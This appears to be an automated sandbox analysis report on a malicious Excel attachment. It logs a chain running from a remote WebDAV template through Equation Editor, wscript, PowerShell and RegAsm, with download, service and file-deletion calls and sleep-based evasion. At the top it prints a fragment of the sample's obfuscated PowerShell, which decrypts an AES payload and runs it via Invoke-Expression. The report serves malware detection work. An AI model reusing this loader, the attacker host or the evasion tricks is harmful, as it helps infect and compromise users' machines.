g==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cReP			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 12_2_0041CB50 LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,

12_2_0041CB50

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 8_2_0066C38C pushad ; ret	8_2_0066C38D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_01B721D8 push ebx; iretd	10_2_01B721EA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_01B71BED push eax; retf	10_2_01B71C01
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_01B70ABD push ebx; retf	10_2_01B70ACA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_00457106 push ecx; ret	12_2_00457119
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_0045B11A push esp; ret	12_2_0045B141
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_0045E54D push esi; ret	12_2_0045E556
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_00457A28 push eax; ret	12_2_00457A46
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_00434E56 push ecx; ret	12_2_00434E69

Persistence and Installation Behavior

Microsoft Office launches external ms-search protocol handler (WebDAV)

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	File opened: \Device\RdpDr\;:1\tny.wtf\DavWWWRoot			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	File opened: \Device\RdpDr\;:1\tny.wtf\DavWWWRoot			Jump to behavior

Office drops RTF file

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File dump: creamthingstohappenedgetmebackwithentirethingstogetbackeverythingtounderstandhowmuchpowerfulthingsitis__________wearegreatwithentirethingstobeback[1].doc.0.dr			Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	File dump: D09A9DB5.doc.4.dr			Jump to dropped file

Office viewer loads remote template

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Section loaded: netapi32.dll and davhlpr.dll loaded

Delayed program exit found

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 12_2_00406EB0 ShellExecuteW,URLDownloadToFileW,

12_2_00406EB0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 12_2_0041AA4A OpenSCManagerW,OpenServiceW,CloseServiceHandle,StartServiceW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,

12_2_0041AA4A

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

12_2_0041CB50

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: AWD 490104998518.xls	Stream path 'MBD001EFDD9/Package' entropy: 7.98076101306 (max. 8.0)
Source: AWD 490104998518.xls	Stream path 'Workbook' entropy: 7.9994313604 (max. 8.0)
Source: ~DFE4D87C1F83611F19.TMP.0.dr	Stream path 'Package' entropy: 7.97685690997 (max. 8.0)
Source: 90530000.0.dr	Stream path 'MBD001EFDD9/Package' entropy: 7.97685690997 (max. 8.0)
Source: 90530000.0.dr	Stream path 'Workbook' entropy: 7.99950304966 (max. 8.0)

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Malware Analysis System Evasion

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 12_2_0040F7A7 Sleep,ExitProcess,

12_2_0040F7A7

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: OpenSCManagerA,EnumServicesStatusW,GetLastError,EnumServicesStatusW,OpenServiceW,QueryServiceConfigW,GetLastError,QueryServiceConfigW,CloseServiceHandle,CloseServiceHandle,

12_2_0041A748

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 599797	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\SysWOW64\wscript.exe

Window found: window name: WSH-Timer

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4165	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 602	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Window / User API: threadDelayed 908	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Window / User API: threadDelayed 8516	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Window / User API: foregroundWindowGot 1599	Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 3140	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3324	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3328	Thread sleep time: -5534023222112862s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3328	Thread sleep time: -599797s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3328	Thread sleep time: -3000000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3268	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 3400	Thread sleep count: 251 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 3400	Thread sleep time: -125500s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 3408	Thread sleep count: 908 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 3408	Thread sleep time: -2724000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 3480	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 3408	Thread sleep count: 8516 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 3408	Thread sleep time: -25548000s >= -30000s	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_00409253 __EH_prolog,__CxxThrowException@8,FindFirstFileW,FindNextFileW,FindClose,FindClose,	12_2_00409253
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_0041C291 FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose,	12_2_0041C291
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_0040C34D FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose,	12_2_0040C34D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_00409665 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,	12_2_00409665
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_0044E879 FindFirstFileExA,	12_2_0044E879
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_0040880C __EH_prolog,FindFirstFileW,__CxxThrowException@8,FindNextFileW,FindClose,	12_2_0040880C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_0040783C FindFirstFileW,FindNextFileW,	12_2_0040783C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_00419AF5 FindFirstFileW,FindNextFileW,FindNextFileW,	12_2_00419AF5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_0040BB30 FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,	12_2_0040BB30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 12_2_0040BD37 FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,	12_2_0040BD37

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

